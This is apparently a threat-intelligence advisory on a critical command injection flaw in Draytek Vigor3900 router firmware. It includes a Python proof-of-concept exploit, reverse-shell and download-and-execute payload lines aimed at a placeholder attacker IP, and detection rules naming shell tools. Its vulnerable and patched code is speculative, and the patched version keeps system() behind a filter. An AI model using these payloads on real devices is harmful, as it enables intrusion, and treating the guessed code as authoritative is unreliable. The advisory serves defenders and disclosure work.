CVE-2024-51253

Executive Summary

CVE-2024-51253 is a critical command injection vulnerability discovered in the Draytek Vigor3900 router firmware version 1.5.1.3. The flaw resides in the mainfunction.cgi script, specifically within the doL2TP function. An unauthenticated attacker can inject arbitrary operating system commands via crafted HTTP requests, leading to full remote code execution (RCE) on the affected device. This vulnerability poses a severe threat to network integrity, as the Vigor3900 is often deployed as a central gateway or VPN concentrator in enterprise and SMB environments. No official patch has been released at the time of analysis, and a public proof-of-concept (PoC) is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary embedded system (Draytek Vigor3900). The risk is primarily to the device's supply chain integrity, as compromised firmware could be used to distribute malicious updates or backdoor network traffic.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full access to device data and network traffic.
• Integrity (I): High – Complete control over device configuration and operations.
• Availability (A): High – Ability to disrupt or disable the device.

Threat Level: Critical. The combination of network exploitability, no authentication, and public PoC makes this a high-priority target for threat actors, including ransomware groups and botnet operators.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw in the doL2TP function of mainfunction.cgi. The CGI script likely takes user-supplied parameters (e.g., for L2TP tunnel configuration) and passes them unsanitized to a system shell command (e.g., via system(), popen(), or exec()). An attacker can inject shell metacharacters such as ;, |, &, or backticks to break out of the intended command and execute arbitrary OS commands.

Root Cause: Lack of input validation and sanitization on parameters processed by the doL2TP function. The firmware does not properly escape or filter shell metacharacters before passing user input to the underlying operating system.

Attack Vector: An unauthenticated HTTP POST request to mainfunction.cgi with a crafted payload in one of the L2TP-related parameters (e.g., l2tp_server, l2tp_user, l2tp_pass). The exact parameter name is not publicly documented, but common L2TP parameters include server, user, password, tunnel_name, etc.

Impact: Successful exploitation grants the attacker a shell on the device with root privileges (as the CGI process typically runs as root). This allows:

• Full device compromise.
• Network pivoting and lateral movement.
• Data exfiltration (VPN traffic, credentials).
• Installation of persistent backdoors.
• Disruption of network services.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, based on the vulnerability type, the vulnerable code likely resembles:

Vulnerable (C-like pseudocode):

void doL2TP(char *server, char *user, char *pass) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "l2tp_client -s %s -u %s -p %s", server, user, pass);
    system(cmd);
}

Patched (Expected fix):

void doL2TP(char *server, char *user, char *pass) {
    // Sanitize inputs: remove shell metacharacters
    sanitize_input(server);
    sanitize_input(user);
    sanitize_input(pass);
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "l2tp_client -s %s -u %s -p %s", server, user, pass);
    system(cmd);
}

The patched version would include a sanitize_input() function that strips or escapes characters like ;, |, &, $, `, (, ), {, }, <, >, and newlines. Alternatively, the fix could use execvp() with an argument array instead of system(), which inherently prevents shell injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Draytek Vigor3900 running firmware 1.5.1.3 (or any vulnerable version).
• Network access to the device's web interface (typically port 80 or 443).

Exploit PoC (Python):

import requests

target = "http://<VICTIM_IP>/cgi-bin/mainfunction.cgi"
# Example payload: inject command via 'l2tp_server' parameter
payload = "127.0.0.1; id > /tmp/pwned;"
data = {
    "action": "doL2TP",
    "l2tp_server": payload,
    "l2tp_user": "test",
    "l2tp_pass": "test"
}

response = requests.post(target, data=data)
print(f"Status: {response.status_code}")
print("Check /tmp/pwned on the device for command output.")

Alternative payloads:

• Reverse shell: l2tp_server=127.0.0.1; bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1;
• Download and execute malware: l2tp_server=127.0.0.1; wget http://<ATTACKER_IP>/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware;

Lab Setup:

1. Set up a Draytek Vigor3900 in an isolated lab network.
2. Flash firmware version 1.5.1.3 (if available).
3. Use a Kali Linux VM as the attacker machine.
4. Run the PoC script against the device's IP.
5. Verify command execution by checking for the created file or receiving a reverse shell.

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with unusual parameters containing shell metacharacters (;, |, &, `).
• Look for outbound connections from the Vigor3900 to unknown IPs on high ports (e.g., 4444 for reverse shells).
• Check for unexpected processes spawned by the web server (e.g., bash, sh, wget, curl).

Hunting:

• Search logs for mainfunction.cgi requests with parameters containing ;, |, or &.
• Use network flow data to identify anomalous outbound traffic from the device.
• Verify the integrity of the firmware by checking file hashes against known good versions.

Containment:

• Immediately isolate the affected device from the network.
• Block inbound HTTP traffic to the device from untrusted sources.
• If possible, disable the mainfunction.cgi endpoint or restrict access via firewall rules.
• Apply any available firmware update from Draytek (once released).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with parameters containing shell metacharacters.
• Outbound connections from the device to external IPs on non-standard ports (e.g., 4444, 1337).
• DNS queries to domains associated with known malware C2 infrastructure.

File IOCs:

• Unexpected files in /tmp/ (e.g., pwned, malware, shell.sh).
• Modified system binaries (e.g., /bin/ls, /bin/ps).
• New cron jobs or startup scripts.

Process IOCs:

• Unusual processes running as root, such as bash, sh, nc, wget, curl.
• Multiple instances of mainfunction.cgi or httpd with high CPU usage.

Log IOCs:

• Entries in /var/log/messages or /var/log/httpd/error_log containing shell commands.
• Repeated failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2024_51253_Command_Injection {
    meta:
        description = "Detects command injection attempts against Draytek Vigor3900 mainfunction.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51253"
    strings:
        $cgi_path = "/cgi-bin/mainfunction.cgi"
        $action_l2tp = "doL2TP"
        $shell_meta1 = /[;|&`$(){}<>]/
        $shell_meta2 = /(\|\||&&)/
        $cmd_exec = /(id|wget|curl|bash|sh|nc|python|perl)/
    condition:
        $cgi_path and $action_l2tp and ($shell_meta1 or $shell_meta2) and $cmd_exec
}

Sigma Rule

title: CVE-2024-51253 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to mainfunction.cgi with command injection payloads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51253
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'doL2TP'
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
        - 'id'
        - 'wget'
        - 'curl'
        - 'bash'
        - 'sh'
    condition: selection and 1 of keywords
falsepositives:
    - Legitimate use of special characters in L2TP parameters (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-51253 Draytek Vigor3900 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/mainfunction.cgi"; http_uri; content:"doL2TP"; http_client_body; pcre:"/(;|\||&|`|\$\(|id|wget|curl|bash|sh)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect the Vigor3900 from the internet and untrusted networks.
2. Restrict access: Use firewall rules to allow only trusted IPs to access the web interface.
3. Disable unnecessary services: If L2TP is not required, disable the VPN server feature.
4. Monitor for exploitation: Deploy the provided detection rules to identify active attacks.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Draytek. Check the Draytek support portal regularly.
• Workaround: If patching is not possible, consider replacing the device with a patched alternative or implementing a web application firewall (WAF) to block malicious requests.
• Network Segmentation: Place the Vigor3900 in a separate VLAN with strict access controls.

Compromise Assessment:

• If exploitation is suspected, perform a full forensic analysis of the device.
• Reset the device to factory defaults and reflash the firmware (if a patched version becomes available).
• Rotate all credentials that may have been exposed (VPN users, admin passwords, etc.).

Valters IT
DevSecOps & Cyber Threat Intelligence